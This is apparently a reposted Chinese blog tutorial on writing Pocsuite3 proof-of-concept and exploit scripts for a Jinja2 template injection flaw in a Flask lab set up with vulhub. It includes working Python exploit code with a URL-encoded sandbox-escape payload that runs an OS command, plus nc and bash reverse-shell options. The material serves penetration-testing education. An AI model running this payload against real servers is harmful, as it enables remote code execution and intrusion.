POC和EXP脚本

引言

在我们的日常渗透测试中,经常挖掘到一些漏洞,但是我们一般使用挖掘工具或者手工判断的时候,不好确定是不是真的存在这么一个漏洞,因此POC脚本就应运而生了。POC全称是Proof of Concept,中文译作概念验证。它是专门为了验证漏洞是否真的存在的脚本。而EXP全称是Exploit,中文译作漏洞利用程序。它是对POC验证结果的一种漏洞利用脚本。

编程基础

因为市面上有关POC和EXP脚本的教程比较稀少,但是比较明确的是想要写好POC和EXP,一般都要有一些网络编程的基础,python的要会基本的爬虫,Java的输入输出流等,更高级点的涉及到pwn模块的软件漏洞利用和汇编反汇编的知识,总的来说,对厉害的人来说这些都是小case,对小白来说这都是天方夜谭、无从下手。写POC和EXP的思路是最重要的,明白漏洞在哪,从那里开始发散思路,因此要对漏洞原理了熟于心。

Pocsuite渗透测试框架

Pocsuite是一款基于漏洞与POC的远程漏洞验证框架,支持Windows/Linux/Mac OS X等系统,整个框架操作灵活,既方便了对漏洞的管理、查找等,也提高了工作效率。

安装步骤

方法一:通过git命令来克隆GitHub进行下载

git clone git@github.com:nopesec/pocsuite3.git

方法二:使用wget命令下载对应的zip包进行安装

wget https://github.com/knownsec/pocsuite3/archive/master.zip

方法三:直接使用pip命令进行安装(本人使用的是这个,但是网络不稳定)

pip3 install pocsuite3

完成安装后输入pocsuite -version查看poc的版本,pocsuite3不支持python2版本,必须是python3才能安装成功。

Pocsuite3的参数及作用

参考它的文档

  • PoC scripts can running with attack,verify, shell mode in different way
  • Plugin ecosystem
  • Dynamic loading PoC script from any where (local file, redis , database, Seebug …)
  • Load multi-target from any where (CIDR, local file, redis , database, Zoomeye, Shodan …)
  • Results can be easily exported
  • Dynamic patch and hook requests
  • Both command line tool and python package import to use
  • IPV6 support
  • Global HTTP/HTTPS/SOCKS proxy support
  • Simple spider API for PoC script to use
  • Integrate with Seebug (for load PoC from Seebug website)
  • Integrate with ZoomEye (for load target from ZoomEye Dork)
  • Integrate with Shodan (for load target from Shodan Dork)
  • Integrate with Ceye (for verify blind DNS and HTTP request)
  • Integrate with Fofa (for load target from Fofa Dork)
  • Friendly debug PoC scripts with IDEs

Flask环境搭建

下载github中的文件并使用docker-compose搭建起flask环境

git clone https://github.com/vulhub/vulhub
cd vulhub
docker-compose build	//编译下载漏洞环境所需的配置
docker-compose up -d	//启动漏洞环境

出现这个表明搭建成功
在这里插入图片描述

注入原理

Flask依赖中就有造成模板注入漏洞的插件Jinja2的模板引擎,Jinja2是一个面向Python的模板语言。我们先来审计源码
在这里插入图片描述
从这里可以看出name的值是直接从get参数中获取的,所以Template是完全可控的。

我们在GET请求中传入一个任意参数,成功将模板语言传递到参数中
在这里插入图片描述

POC脚本编写

POC的命名形式为:组成漏洞应用名_版本号_漏洞类型名称,形如_1847_seeyon_3_1_login_info_disclosure.py

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class FlaskPOC(POCBase):
    vulID = '1.1'		#ssvid ID,如果是提交漏洞的同时提交POC,则写成0
    version = '1.1'		#默认为1
    author = ['1.1']	#POC作者的名字
    vulDate = '1.1'		#漏洞公开的时间,不明确是可以写今天
    createDate = '1.1'	#编写POC的日期
    updateDate = '1.1'	#POC更新的时间,默认和编写时间一样
    references = ['flask']	#漏洞地址来源,0day不用写
    name = 'flask'			#POC名称
    appPowerLink = 'flask'	#漏洞厂商的主页地址
    appName = 'flask'		#漏洞应用名称
    appVersion = 'flask'	#漏洞影响版本
    vulType = VUL_TYPE.CODE_EXECUTION	#漏洞类型
    desc = '''				
        
    '''						#漏洞简要描述
    samples = ['127.0.0.1:8000']	#测试样例,使用POC测试成功的网站
    category = POC_CATEGORY.EXPLOITS.REMOTE

	    def _options(self):
        o = OrderedDict()
        payload = {
    
    
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _verify(self):
        result = {
    
    }
        path = "?name="
        url = self.url + path
        # print(url)
        payload = "{
    
    {22*22}}"
        # print(payload)
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {
    
    }
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return
        return self.parse_output(result)


    def parse_output(self,result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
register_poc(FlaskPOC)

上面使用了一个简单的payload便验证了这个漏洞确实是存在的,如果返回状态码为200,则代表网页正常请求,若返回的payload值为484,则表示服务器将url传入的payload正常执行,说明此处存在安全漏洞。
在这里插入图片描述

编写EXP脚本

EXP脚本的编写和POC脚本编写一样,只需要加多一段漏洞利用代码即可。关于Jinja2注入的方法,官方给出的方法是在模板环境中注册函数就可以进行调用了。这里需要用到Python沙盒逃逸的方法。

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class FlaskEXP(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['flask']
    name = 'flask'
    appPowerLink = 'flask'
    appName = 'flask'
    appVersion = 'flask'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''

    '''
    samples = ['127.0.0.1:8000']
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _options(self):
        o = OrderedDict()
        payload = {
    
    
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _attack(self):
        result = {
    
    }
        path = "/?name="
        url = self.url + path
        # print(url)
        cmd = self.get_option("command")
        payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        # print(payload)
        try:
            resq = requests.get(url + payload)
            t = resq.text
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(" ", "")
            result['VerifyInfo'] = {
    
    }
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return
        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
register_poc(FlaskEXP)

攻击成功
在这里插入图片描述
上面的脚本将接收到的命令赋值给command参数

    def _options(self):
        o = OrderedDict()
        payload = {
    
    
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

接下来创造了一个cmd变量,用于接收用户的command命令参数,并嵌入payload字符串中。将写好的payload与url地址拼接,并通过request函数发送到目标系统,这样就能够在目标系统中执行命令了。

    def _attack(self):
        result = {
    
    }
        path = "/?name="
        url = self.url + path
        # print(url)
        cmd = self.get_option("command")
        payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        # print(payload)
        try:
            resq = requests.get(url + payload)
            t = resq.text
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(" ", "")
            result['VerifyInfo'] = {
    
    }
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return
        return self.parse_attack(result)

在这里插入图片描述

总结:SSTI服务端模板注入正是因为代码中通过不安全的字符串拼接的方式来构造模板文件而且过分信任了用户的输入而造成的。大多数模板引擎自身没什么问题,所以在审计时我们重点是找到一个模板,这个模板通过字符串拼接而构造,而且用户输入的数据会影响字符串拼接过程。

猜你喜欢

转载自blog.csdn.net/weixin_45007073/article/details/113094045
POC
exp
今日推荐